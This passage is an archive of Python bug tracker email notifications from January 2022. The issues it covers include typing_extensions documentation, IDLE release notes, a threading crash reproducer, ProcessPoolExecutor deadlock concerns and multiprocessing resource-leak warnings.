Zijlstra : ---------- keywords: +patch pull_requests: +29024 stage: -> patch review pull_request: https://github.com/python/cpython/pull/30843 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 23 19:51:36 2022 From: report at bugs.python.org (Jelle Zijlstra) Date: Mon, 24 Jan 2022 00:51:36 +0000 Subject: [issue46494] Mention typing_extensions in the typing documentation Message-ID: <1642985496.62.0.269697400688.issue46494@roundup.psfhosted.org> New submission from Jelle Zijlstra : I've often seen people say things like "I can't use TypeGuard yet, I'm stuck on 3.9". That's not true, because the typing_extensions package backports all typing features to all supported Python versions. To help make people aware of this option, we should mention typing_extensions in https://docs.python.org/3.10/library/typing.html. Perhaps this can go in the "Relevant PEPs" section, or at the end of the intro section. Suggested wording: "New features have been added to the typing module in each major version of Python. The typing extensions (link to GitHub) package provides backports to all supported versions of Python 3 for almost all of these features." ---------- assignee: docs at python components: Documentation messages: 411434 nosy: AlexWaygood, Jelle Zijlstra, docs at python, gvanrossum, kj, sobolevn, srittau priority: normal severity: normal status: open title: Mention typing_extensions in the typing documentation versions: Python 3.10, Python 3.11, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 23 20:00:03 2022 From: report at bugs.python.org (Alex Waygood) Date: Mon, 24 Jan 2022 01:00:03 +0000 Subject: [issue46494] Mention typing_extensions in the typing documentation In-Reply-To: <1642985496.62.0.269697400688.issue46494@roundup.psfhosted.org> Message-ID: <1642986003.46.0.578909546866.issue46494@roundup.psfhosted.org> Alex Waygood added the comment: Sounds like a great idea. I like the idea of putting it in the "Relevant PEPs" section, as that section already details how the typing module has evolved over the past few major versions of Python. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 23 20:25:34 2022 From: report at bugs.python.org (Tal Einat) Date: Mon, 24 Jan 2022 01:25:34 +0000 Subject: [issue45193] IDLE Show completions pop-up not working on Ubuntu Linux In-Reply-To: <1631600960.46.0.341409360398.issue45193@roundup.psfhosted.org> Message-ID: <1642987534.27.0.873572863325.issue45193@roundup.psfhosted.org> Change by Tal Einat : ---------- pull_requests: +29025 pull_request: https://github.com/python/cpython/pull/28332 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 23 21:21:36 2022 From: report at bugs.python.org (Terry J. Reedy) Date: Mon, 24 Jan 2022 02:21:36 +0000 Subject: [issue33822] IDLE subsection of What's New 3.8 In-Reply-To: <1528651946.69.0.592728768989.issue33822@psf.upfronthosting.co.za> Message-ID: <1642990896.35.0.77971286987.issue33822@roundup.psfhosted.org> Terry J. Reedy added the comment: Backports to 3.8 ended when it went on security status about June 1, 2021. ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 23 21:28:22 2022 From: report at bugs.python.org (Eryk Sun) Date: Mon, 24 Jan 2022 02:28:22 +0000 Subject: [issue46490] Add "follow_symlinks=False" support for "os.utime()" on Windows In-Reply-To: <1642963308.84.0.964070745498.issue46490@roundup.psfhosted.org> Message-ID: <1642991302.69.0.646535646142.issue46490@roundup.psfhosted.org> Eryk Sun added the comment: The Windows API doesn't directly support opening a 'symlink' as Python defines it for the follow_symlinks parameter. That problem should be resolved in a separate issue. Then updating os.utime() would be relatively trivial. ---------- components: +Windows nosy: +eryksun, paul.moore, steve.dower, tim.golden, zach.ware stage: -> needs patch type: -> enhancement _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 23 21:51:10 2022 From: report at bugs.python.org (Terry J. Reedy) Date: Mon, 24 Jan 2022 02:51:10 +0000 Subject: [issue41844] IDLE subsection of What's New 3.9 In-Reply-To: <1600871517.81.0.0817092566943.issue41844@roundup.psfhosted.org> Message-ID: <1642992670.46.0.487099964252.issue41844@roundup.psfhosted.org> Change by Terry J. Reedy : ---------- versions: +Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 23 21:51:27 2022 From: report at bugs.python.org (Terry J. Reedy) Date: Mon, 24 Jan 2022 02:51:27 +0000 Subject: [issue41846] IDLE subsection of What's New 3.10 In-Reply-To: <1600871542.4.0.618379951214.issue41846@roundup.psfhosted.org> Message-ID: <1642992687.01.0.586332625141.issue41846@roundup.psfhosted.org> Change by Terry J. Reedy : ---------- versions: +Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 23 21:51:38 2022 From: report at bugs.python.org (Terry J. Reedy) Date: Mon, 24 Jan 2022 02:51:38 +0000 Subject: [issue46495] IDLE subsection of What's New 3.11 Message-ID: <1642992698.38.0.995368904303.issue46495@roundup.psfhosted.org> New submission from Terry J. Reedy : Following #41846, master issue for IDLE entries in Doc/whatsnew/3.11.rst. When appropriate, add subsection 'idlelib and IDLE' to 'Improved Modules' The initial entries include important enhancements to IDLE since 3.10.0. (Anything included in 3.10.0 does not belong here. Because of IDLE's special backport policy (PEP 434), this initial part concludes with "The changes above have been backported to 3.9 maintenance releases." Future subsubsections 'New in 3.10.z:', z >= 1, will follow for backports to 3.10.z. These can precede the backport message as long as it is true. This issue will close after the last 3.10 maintenance release. 3.11.rst will always exist in the master branch. Changes are applied to master and backported as needed at the time. Entries will normally be the same in the What's New x.y for all x.y branches that get the enhancement. However, each file needs different backports. Hence separate PRs are needed for auto backport to work. It seems convenient to have separate issues for each whatsnew/ file. ---------- assignee: terry.reedy messages: 411438 nosy: terry.reedy priority: normal severity: normal status: open title: IDLE subsection of What's New 3.11 versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 23 21:54:48 2022 From: report at bugs.python.org (Terry J. Reedy) Date: Mon, 24 Jan 2022 02:54:48 +0000 Subject: [issue41846] IDLE subsection of What's New 3.10 In-Reply-To: <1600871542.4.0.618379951214.issue41846@roundup.psfhosted.org> Message-ID: <1642992888.38.0.885147772781.issue41846@roundup.psfhosted.org> Change by Terry J. Reedy : ---------- superseder: -> IDLE subsection of What's New 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 23 22:07:41 2022 From: report at bugs.python.org (Terry J. Reedy) Date: Mon, 24 Jan 2022 03:07:41 +0000 Subject: [issue46496] idlelib/NEWS.txt for 3.11.0 and backports Message-ID: <1642993661.43.0.163897250741.issue46496@roundup.psfhosted.org> New submission from Terry J. Reedy : Main became 3.11 as of 3.10.0 beta 1: 2021-05-03. However, backported IDLE issues continued going under What's New 3.10 on both main and 3.10 until 3.10.0rc1, 2021-08-03. Subsequent idlelib/NEWS.txt items go under What's New 3.11.0 on main branch What's New 3.10.1 on 3.10 branch In other words, idlelib News is handled as if main were branched off as of .0rc1. This is different from the changelog attached to What's New in 3.x. Release peps -- needed for proposed and actual release dates. 3.9 PEP 596 https://www.python.org/dev/peps/pep-0596/ 3.10 PEP 619 https://www.python.org/dev/peps/pep-0619/ 3.11 PEP 664 https://www.python.org/dev/peps/pep-0664/ ---------- assignee: terry.reedy messages: 411439 nosy: terry.reedy priority: normal severity: normal status: open title: idlelib/NEWS.txt for 3.11.0 and backports versions: Python 3.10, Python 3.11, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 23 22:09:05 2022 From: report at bugs.python.org (Jelle Zijlstra) Date: Mon, 24 Jan 2022 03:09:05 +0000 Subject: [issue33983] unify types for lib2to3.pytree.Base.children In-Reply-To: <1530131899.35.0.56676864532.issue33983@psf.upfronthosting.co.za> Message-ID: <1642993745.74.0.384936777839.issue33983@roundup.psfhosted.org> Jelle Zijlstra added the comment: lib2to3 is deprecated as of Python 3.11, and there's an available workaround. I don't think it still makes sense to change anything here. ---------- nosy: +Jelle Zijlstra resolution: -> wont fix stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 23 22:09:50 2022 From: report at bugs.python.org (Terry J. Reedy) Date: Mon, 24 Jan 2022 03:09:50 +0000 Subject: [issue41841] idlelib/NEWS.txt for 3.10.0 and backports In-Reply-To: <1600864292.35.0.268589439404.issue41841@roundup.psfhosted.org> Message-ID: <1642993790.85.0.669882120147.issue41841@roundup.psfhosted.org> Change by Terry J. Reedy : ---------- superseder: -> IDLE subsection of What's New 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 23 23:33:13 2022 From: report at bugs.python.org (David Contreras) Date: Mon, 24 Jan 2022 04:33:13 +0000 Subject: =?utf-8?q?=5Bissue46497=5D_IDLE_macOS_shortcut_ctrl+S_doesn=E2=80=99t_wor?= =?utf-8?q?k_for_show_completions?= Message-ID: <1642998793.55.0.428070872665.issue46497@roundup.psfhosted.org> New submission from David Contreras : I noticed that selecting Edit>Show Completions works as expected on Python 3.10.2 and macOS 12.1 after issue 40128 was resolved. But trying the default keyboard shortcut ctrl+S only highlights the edit menu but doesn't work. I understand that it's supposed to be ctrl+space because that's how it works on windows and it also works in macOS after disabling the default behavior for ctrl+space but this doesn't highlight the edit menu. On the original issue this behavior was also described but now the issue is closed and the behavior is the same. So ctrl+S highlights the edit menu but doesn?t show completions and ctrl+space shows completions but has a conflict with the default macOS keyboard shortcuts and is not the shortcut specified on the edit menu and it doesn?t highlight it. ---------- messages: 411441 nosy: dvd101x priority: normal severity: normal status: open title: IDLE macOS shortcut ctrl+S doesn?t work for show completions _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 23 23:46:03 2022 From: report at bugs.python.org (Jelle Zijlstra) Date: Mon, 24 Jan 2022 04:46:03 +0000 Subject: [issue22859] unittest.TestProgram.usageExit no longer invoked In-Reply-To: <1415874322.06.0.308310544849.issue22859@psf.upfronthosting.co.za> Message-ID: <1642999563.71.0.0109459903796.issue22859@roundup.psfhosted.org> Jelle Zijlstra added the comment: I suggest we mark the method as deprecated and remove it in 3.13. Making the argparse objects public can be done in a separate enhancement request if there is demand for it. ---------- nosy: +Jelle Zijlstra _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 23 23:49:41 2022 From: report at bugs.python.org (Jelle Zijlstra) Date: Mon, 24 Jan 2022 04:49:41 +0000 Subject: [issue46186] replace `io.IncrementalNewlineDecoder` with non incremental newline decoders In-Reply-To: <1640628066.96.0.973649532824.issue46186@roundup.psfhosted.org> Message-ID: <1642999781.8.0.587059122966.issue46186@roundup.psfhosted.org> Jelle Zijlstra added the comment: If the old code is incorrect, can you give an example where it fails? Is it possible to write a unit test demonstrating that the current behavior is wrong? ---------- nosy: +Jelle Zijlstra _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 23 23:49:46 2022 From: report at bugs.python.org (Tim Peters) Date: Mon, 24 Jan 2022 04:49:46 +0000 Subject: [issue46488] listsort.txt wrongly assumes you cannot calculate leading zeros in O(1) time. In-Reply-To: <1642957692.71.0.50251931352.issue46488@roundup.psfhosted.org> Message-ID: <1642999786.12.0.382316738167.issue46488@roundup.psfhosted.org> Tim Peters added the comment: For any fixed width integer type, the worst case of the dead simple loop (all bits are zero) is a fixed upper bound. So you don't mean "constant bounded" either. You mean something more like "clever C code that usually runs faster than the obvious loop". See my "if it's not unbearably pedantic" comment earlier ;-) Again, by "primitive" I meant HW-level primitive. I agree that's not wholly clear from what I wrote, but really don't care - it's a trivial point that makes no difference in context. The lack of an integer type in C wide enough to support the division the paper uses is _the_ deal-breaker. That C doesn't define a count-leading-zero function either is just a flea on the tail of that dog. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 23 23:53:11 2022 From: report at bugs.python.org (Kumar Aditya) Date: Mon, 24 Jan 2022 04:53:11 +0000 Subject: [issue46476] Not all memory allocated by _Py_Quicken() is released at Python exit In-Reply-To: <1642897771.95.0.216870338714.issue46476@roundup.psfhosted.org> Message-ID: <1642999991.65.0.200646824862.issue46476@roundup.psfhosted.org> Kumar Aditya added the comment: > Kumar, I'm not sure I follow your concerns about the bootstrap working differently on Windows than on Unix. Is the problem that on Unix the bootstrap interpreter is linked without deepfreeze.c so there is no definition of the symbol _Py_Deepfreeze_Fini? In that case, you can probably just add a dummy one to _bootstrap_python.c. Yes, that comment was outdated as I didn't knew that _bootstrap_python.c and _freeze_module.c are different executables on Linux. In the latest commit it is fixed and there are 0 memory blocks left on Linux and 131 on Windows. The next thing to be done is solving how to restore the code objects before it was quickened. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 24 00:00:22 2022 From: report at bugs.python.org (Zhang Na) Date: Mon, 24 Jan 2022 05:00:22 +0000 Subject: [issue46498] Add new triplets for loongarch64 Message-ID: <1643000422.04.0.8025423603.issue46498@roundup.psfhosted.org> Change by Zhang Na : ---------- components: Build files: loongarch64.diff keywords: patch nosy: zhangna01 priority: normal severity: normal status: open title: Add new triplets for loongarch64 type: compile error versions: Python 3.9 Added file: https://bugs.python.org/file50579/loongarch64.diff _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 24 00:40:43 2022 From: report at bugs.python.org (Xinmeng Xia) Date: Mon, 24 Jan 2022 05:40:43 +0000 Subject: [issue45860] UnboundLocalError leads to Illegal instruction crashing CPython In-Reply-To: <1637547882.55.0.126109992436.issue45860@roundup.psfhosted.org> Message-ID: <1643002843.91.0.251135181613.issue45860@roundup.psfhosted.org> Xinmeng Xia added the comment: A simpler example to reproduce it: test.py ======================================== import threading import ctypes from test import test_code def test_free_different_thread(): f = test_code.CoExtra().get_func() class ThreadTest(threading.Thread): def __init__(CoExtra, f, test): f.test = f test_code.SetExtra(f.__code__, test_code.FREE_INDEX, ctypes.c_voidp(500)) tt = ThreadTest(f, f) test_code.CoExtra().assertEqual(test_code.LAST_FREED, 500) test_free_different_thread() ======================================== Just run test.py on Ubuntu 18.04 and you can observe the crash. version of Python: Python3.11.0a4 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 24 00:43:31 2022 From: report at bugs.python.org (Xinmeng Xia) Date: Mon, 24 Jan 2022 05:43:31 +0000 Subject: [issue45860] Mutithread leads to Illegal instruction crashing CPython In-Reply-To: <1637547882.55.0.126109992436.issue45860@roundup.psfhosted.org> Message-ID: <1643003010.99.0.481534714698.issue45860@roundup.psfhosted.org> Change by Xinmeng Xia : ---------- title: UnboundLocalError leads to Illegal instruction crashing CPython -> Mutithread leads to Illegal instruction crashing CPython _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 24 01:47:04 2022 From: report at bugs.python.org (shukurulloxkomiljonov) Date: Mon, 24 Jan 2022 06:47:04 +0000 Subject: [issue46499] circular impoty Message-ID: <1643006824.68.0.207165371072.issue46499@roundup.psfhosted.org> New submission from shukurulloxkomiljonov : ImportError: cannot import name 'Db' from partially initialized module 'orm_model.db' (most likely due to a circular import) (C:\Users\Komil\OneDrive\Desktop\mymodel\orm_model\db.py) I am making al library! I have model.py and db.py in db.py has class Db in model.py has class Model db.py imported Model and model.py imported Db but i have error ImportError: cannot import name 'Db' from partially initialized module 'orm_model.db' (most likely due to a circular import) how can i resolve it please enswer me! ---------- components: Library (Lib) messages: 411447 nosy: KOMILJONOV priority: normal severity: normal status: open title: circular impoty type: crash versions: Python 3.10, Python 3.11, Python 3.7, Python 3.8, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 24 01:48:38 2022 From: report at bugs.python.org (Raymond Hettinger) Date: Mon, 24 Jan 2022 06:48:38 +0000 Subject: [issue46488] listsort.txt wrongly assumes you cannot calculate leading zeros in O(1) time. In-Reply-To: <1642957692.71.0.50251931352.issue46488@roundup.psfhosted.org> Message-ID: <1643006918.7.0.130312518316.issue46488@roundup.psfhosted.org> Change by Raymond Hettinger : ---------- resolution: -> not a bug stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 24 02:08:00 2022 From: report at bugs.python.org (Arjun) Date: Mon, 24 Jan 2022 07:08:00 +0000 Subject: [issue46500] make timeit module accept files Message-ID: <1643008080.77.0.59543047068.issue46500@roundup.psfhosted.org> New submission from Arjun : currently, timeit accepts programs line by line as commandline arguments. it would be convenient to give it a program as a file to benchmark. ---------- components: Library (Lib) messages: 411448 nosy: CCLDArjun priority: normal severity: normal status: open title: make timeit module accept files type: enhancement _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 24 02:12:22 2022 From: report at bugs.python.org (Arjun) Date: Mon, 24 Jan 2022 07:12:22 +0000 Subject: [issue46500] make timeit module accept files In-Reply-To: <1643008080.77.0.59543047068.issue46500@roundup.psfhosted.org> Message-ID: <1643008342.61.0.100338697196.issue46500@roundup.psfhosted.org> Change by Arjun : ---------- keywords: +patch pull_requests: +29026 stage: -> patch review pull_request: https://github.com/python/cpython/pull/30844 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 24 02:27:43 2022 From: report at bugs.python.org (Gregory P. Smith) Date: Mon, 24 Jan 2022 07:27:43 +0000 Subject: [issue44733] Feature request: maxtasksperchild for ProcessPoolExecutor In-Reply-To: <1627128881.56.0.324294431588.issue44733@roundup.psfhosted.org> Message-ID: <1643009263.38.0.0847600149575.issue44733@roundup.psfhosted.org> Gregory P. Smith added the comment: [bpo-46464](https://bugs.python.org/issue46464) describes a deadlock that the pre-requisite for this feature causes. Spawning new children directly via fork() is impossible once a thread in the parent process has been started and concurrent.futures.process starts a thread. ---------- nosy: +gregory.p.smith _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 24 02:29:00 2022 From: report at bugs.python.org (Gregory P. Smith) Date: Mon, 24 Jan 2022 07:29:00 +0000 Subject: [issue44733] Feature request: maxtasksperchild for ProcessPoolExecutor In-Reply-To: <1627128881.56.0.324294431588.issue44733@roundup.psfhosted.org> Message-ID: <1643009340.55.0.119754429268.issue44733@roundup.psfhosted.org> Gregory P. Smith added the comment: If we want this feature to stay in, it needs an implementation that does not rely on a multithreaded processing calling fork(). I'm going to have to revert the existing implementation for bpo-46464. ---------- stage: resolved -> needs patch status: closed -> open _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 24 02:29:17 2022 From: report at bugs.python.org (Gregory P. Smith) Date: Mon, 24 Jan 2022 07:29:17 +0000 Subject: [issue44733] Feature request: maxtasksperchild for ProcessPoolExecutor In-Reply-To: <1627128881.56.0.324294431588.issue44733@roundup.psfhosted.org> Message-ID: <1643009357.65.0.576887809386.issue44733@roundup.psfhosted.org> Change by Gregory P. Smith : ---------- assignee: -> gregory.p.smith resolution: fixed -> _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 24 02:30:22 2022 From: report at bugs.python.org (Gregory P. Smith) Date: Mon, 24 Jan 2022 07:30:22 +0000 Subject: [issue46464] concurrent.futures.ProcessPoolExecutor can deadlock when tcmalloc is used In-Reply-To: <1642807973.18.0.685289247639.issue46464@roundup.psfhosted.org> Message-ID: <1643009422.55.0.654716888503.issue46464@roundup.psfhosted.org> Gregory P. Smith added the comment: https://bugs.python.org/issue44733 for 3.11 attempts to build upon the dynamic spawning ability and will need reverting unless a non-thread+fork implementation is provided. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 24 02:54:10 2022 From: report at bugs.python.org (Ram Rachum) Date: Mon, 24 Jan 2022 07:54:10 +0000 Subject: [issue44733] Feature request: maxtasksperchild for ProcessPoolExecutor In-Reply-To: <1627128881.56.0.324294431588.issue44733@roundup.psfhosted.org> Message-ID: <1643010850.33.0.732700521412.issue44733@roundup.psfhosted.org> Ram Rachum added the comment: Oh that sucks. Logan and Antoine worked on this feature for so long. Thanks for reporting Greg. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 24 03:23:47 2022 From: report at bugs.python.org (Keelung Yang) Date: Mon, 24 Jan 2022 08:23:47 +0000 Subject: [issue35095] Implement pathlib.Path.append_bytes and pathlib.Path.append_text In-Reply-To: <1540754241.69.0.788709270274.issue35095@psf.upfronthosting.co.za> Message-ID: <1643012627.69.0.469680276654.issue35095@roundup.psfhosted.org> Keelung Yang added the comment: @pitrou Firstly, I can't agree with `it is quite uncommon to open a file in append mode`. It should be depended to users and their application scenes. @pablogsal Secondly, I think `Path.write_*(, append=False)` is better then adding new APIs, as discussed in https://stackoverflow.com/questions/57296168/pathlib-path-write-text-in-append-mode ---------- nosy: +keelung-yang _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 24 03:28:07 2022 From: report at bugs.python.org (Kumar Aditya) Date: Mon, 24 Jan 2022 08:28:07 +0000 Subject: [issue41682] [Windows] test_asyncio: Proactor test_sendfile_close_peer_in_the_middle_of_receiving failure In-Reply-To: <1598923449.65.0.107960415995.issue41682@roundup.psfhosted.org> Message-ID: <1643012887.84.0.78488770896.issue41682@roundup.psfhosted.org> Change by Kumar Aditya : ---------- nosy: +kumaraditya303 nosy_count: 13.0 -> 14.0 pull_requests: +29027 pull_request: https://github.com/python/cpython/pull/30845 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 24 03:35:38 2022 From: report at bugs.python.org (jiahua wang) Date: Mon, 24 Jan 2022 08:35:38 +0000 Subject: [issue46157] Typo in JSON documentation In-Reply-To: <1640200326.77.0.347412536319.issue46157@roundup.psfhosted.org> Message-ID: <1643013338.04.0.40094684974.issue46157@roundup.psfhosted.org> Change by jiahua wang : ---------- nosy: +wangjiahua nosy_count: 5.0 -> 6.0 pull_requests: +29028 pull_request: https://github.com/python/cpython/pull/30846 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 24 03:39:22 2022 From: report at bugs.python.org (Irit Katriel) Date: Mon, 24 Jan 2022 08:39:22 +0000 Subject: [issue46499] circular impoty In-Reply-To: <1643006824.68.0.207165371072.issue46499@roundup.psfhosted.org> Message-ID: <1643013562.56.0.416543365575.issue46499@roundup.psfhosted.org> Irit Katriel added the comment: The python bug tracker is for reporting bugs in python, not for asking questions about how to use it. You cans ask user questions on python-list (though in this case I would try by searching for ?python circular import?). ---------- nosy: +iritkatriel resolution: -> not a bug stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 24 03:46:43 2022 From: report at bugs.python.org (Serhiy Storchaka) Date: Mon, 24 Jan 2022 08:46:43 +0000 Subject: [issue46157] Typo in JSON documentation In-Reply-To: <1640200326.77.0.347412536319.issue46157@roundup.psfhosted.org> Message-ID: <1643014003.81.0.979221708526.issue46157@roundup.psfhosted.org> Change by Serhiy Storchaka : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed versions: -Python 3.10, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 24 03:50:03 2022 From: report at bugs.python.org (Serhiy Storchaka) Date: Mon, 24 Jan 2022 08:50:03 +0000 Subject: [issue46500] make timeit module accept files In-Reply-To: <1643008080.77.0.59543047068.issue46500@roundup.psfhosted.org> Message-ID: <1643014203.31.0.866675879232.issue46500@roundup.psfhosted.org> Serhiy Storchaka added the comment: This module provides a simple way to time small bits of Python code. What problem are you trying to solve. ---------- nosy: +serhiy.storchaka _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 24 03:54:41 2022 From: report at bugs.python.org (Eric V. Smith) Date: Mon, 24 Jan 2022 08:54:41 +0000 Subject: [issue46499] circular impoty In-Reply-To: <1643006824.68.0.207165371072.issue46499@roundup.psfhosted.org> Message-ID: <1643014481.55.0.320015247267.issue46499@roundup.psfhosted.org> Change by Eric V. Smith : ---------- type: crash -> behavior _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 24 03:55:43 2022 From: report at bugs.python.org (Gregory P. Smith) Date: Mon, 24 Jan 2022 08:55:43 +0000 Subject: [issue46464] concurrent.futures.ProcessPoolExecutor can deadlock when tcmalloc is used In-Reply-To: <1642807973.18.0.685289247639.issue46464@roundup.psfhosted.org> Message-ID: <1643014543.95.0.970422865927.issue46464@roundup.psfhosted.org> Change by Gregory P. Smith : ---------- keywords: +patch pull_requests: +29029 stage: needs patch -> patch review pull_request: https://github.com/python/cpython/pull/30847 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 24 04:31:45 2022 From: report at bugs.python.org (XD Trol) Date: Mon, 24 Jan 2022 09:31:45 +0000 Subject: [issue46391] Library multiprocess leaks named resources. In-Reply-To: <1642269897.29.0.322439501259.issue46391@roundup.psfhosted.org> Message-ID: <1643016705.17.0.20233835604.issue46391@roundup.psfhosted.org> XD Trol added the comment: update, Confirmed to affect all versions above 3.8+. It's really annoying. Command line tools like Repo get a warning after every (success) command. And mess up with shell. ------------------------------------------------------------------- $ repo status . project ksbox/ branch dev $ /usr/local/Cellar/python at 3.9/3.9.7/Frameworks/Python.framework/Versions/3.9/lib/python3.9/multiprocessing/resource_tracker.py:216: UserWarning: resource_tracker: There appear to be 1 leaked semaphore objects to clean up at shutdown warnings.warn('resource_tracker: There appear to be %d ' $ $ $ $ repo sync . Fetching: 100% (1/1), done in 1.184s Garbage collecting: 100% (1/1), done in 0.013s repo sync has finished successfully. $ /usr/local/Cellar/python at 3.9/3.9.7/Frameworks/Python.framework/Versions/3.9/lib/python3.9/multiprocessing/resource_tracker.py:216: UserWarning: resource_tracker: There appear to be 1 leaked semaphore objects to clean up at shutdown warnings.warn('resource_tracker: There appear to be %d ' $ $ $ $ repo status . project ksbox/ branch dev $ /usr/local/Cellar/python at 3.9/3.9.7/Frameworks/Python.framework/Versions/3.9/lib/python3.9/multiprocessing/resource_tracker.py:216: UserWarning: resource_tracker: There appear to be 1 leaked semaphore objects to clean up at shutdown warnings.warn('resource_tracker: There appear to be %d ' ---------- versions: +Python 3.10, Python 3.11, Python 3.8 Added file: https://bugs.python.org/file50580/screen.png _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 24 04:48:58 2022 From: report at bugs.python.org (Sebastian Rittau) Date: Mon, 24 Jan 2022 09:48:58 +0000 Subject: [issue46494] Mention typing_extensions in the typing documentation In-Reply-To: <1642985496.62.0.269697400688.issue46494@roundup.psfhosted.org> Message-ID: <1643017738.37.0.123480697078.issue46494@roundup.psfhosted.org> Sebastian Rittau added the comment: Sounds like a good idea. I would put it into the introduction. I hear it will easily be missed in other sections. Wouldn't a link to PyPI make more sense than a GitHub link? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 24 04:59:40 2022 From: report at bugs.python.org (Irit Katriel) Date: Mon, 24 Jan 2022 09:59:40 +0000 Subject: [issue46254] Better fitting type for iterating in the trace_init C function Message-ID: <1643018380.05.0.613944747085.issue46254@roundup.psfhosted.org> New submission from Irit Katriel : See discussion on the PR. ---------- nosy: +iritkatriel resolution: -> rejected stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 24 05:06:49 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Mon, 24 Jan 2022 10:06:49 +0000 Subject: [issue46483] `pathlib.PurePath.__class_getitem__` does not return `GenericAlias` In-Reply-To: <1642925790.59.0.879604059643.issue46483@roundup.psfhosted.org> Message-ID: <1643018809.51.0.67742493202.issue46483@roundup.psfhosted.org> Change by Nikita Sobolev : ---------- pull_requests: +29030 pull_request: https://github.com/python/cpython/pull/30848 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 24 05:14:46 2022 From: report at bugs.python.org (Serhiy Storchaka) Date: Mon, 24 Jan 2022 10:14:46 +0000 Subject: [issue46426] Improve tests for the dir_fd argument In-Reply-To: <1642535009.06.0.529975852258.issue46426@roundup.psfhosted.org> Message-ID: <1643019286.95.0.0818103471154.issue46426@roundup.psfhosted.org> Serhiy Storchaka added the comment: New changeset 3f1ea163ea54513e00e0e9d5442fee1b639825cc by Serhiy Storchaka in branch '3.9': [3.9] bpo-46426: Improve tests for the dir_fd argument (GH-30668) (GH-30757) https://github.com/python/cpython/commit/3f1ea163ea54513e00e0e9d5442fee1b639825cc ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 24 05:17:38 2022 From: report at bugs.python.org (Andrew Svetlov) Date: Mon, 24 Jan 2022 10:17:38 +0000 Subject: [issue46483] `pathlib.PurePath.__class_getitem__` does not return `GenericAlias` In-Reply-To: <1642925790.59.0.879604059643.issue46483@roundup.psfhosted.org> Message-ID: <1643019458.29.0.347493810162.issue46483@roundup.psfhosted.org> Andrew Svetlov added the comment: IIRC it was added to reflect the presence of __class_getitem__ method in typeshed. Please feel free to drop it the method is not really needed. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 24 05:23:11 2022 From: report at bugs.python.org (Mark Shannon) Date: Mon, 24 Jan 2022 10:23:11 +0000 Subject: [issue46465] Regression caused by CALL_FUNCTION specialization for C function calls In-Reply-To: <1642815009.1.0.251080855194.issue46465@roundup.psfhosted.org> Message-ID: <1643019791.14.0.0533596157028.issue46465@roundup.psfhosted.org> Mark Shannon added the comment: > So it's also a threads scheduling issue, no? No, it isn't. The interpreter checks the eval breaker frequently enough. It checks on all back edges and on all calls to Python functions. The test probably needs to be fixed, or extended. It is signals sent from another process or thread that we should be testing for. I'm happy to merge PR 30826, but if you are really concerned about prompt delivery of signals, then you should be worried about C extensions. If you are worried about being able to interrupt programs, then you also worry about poorly written Python code that uses `except:`. Regarding C extensions, I think clear documentation that extension authors need to check for signals in any code that might run for a few hundred microseconds or longer is the best approach. For `except:`, maybe we could issue a syntax warning, as `except:` is universally considered to be bad practice. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 24 05:25:33 2022 From: report at bugs.python.org (Serhiy Storchaka) Date: Mon, 24 Jan 2022 10:25:33 +0000 Subject: [issue46426] Improve tests for the dir_fd argument In-Reply-To: <1642535009.06.0.529975852258.issue46426@roundup.psfhosted.org> Message-ID: 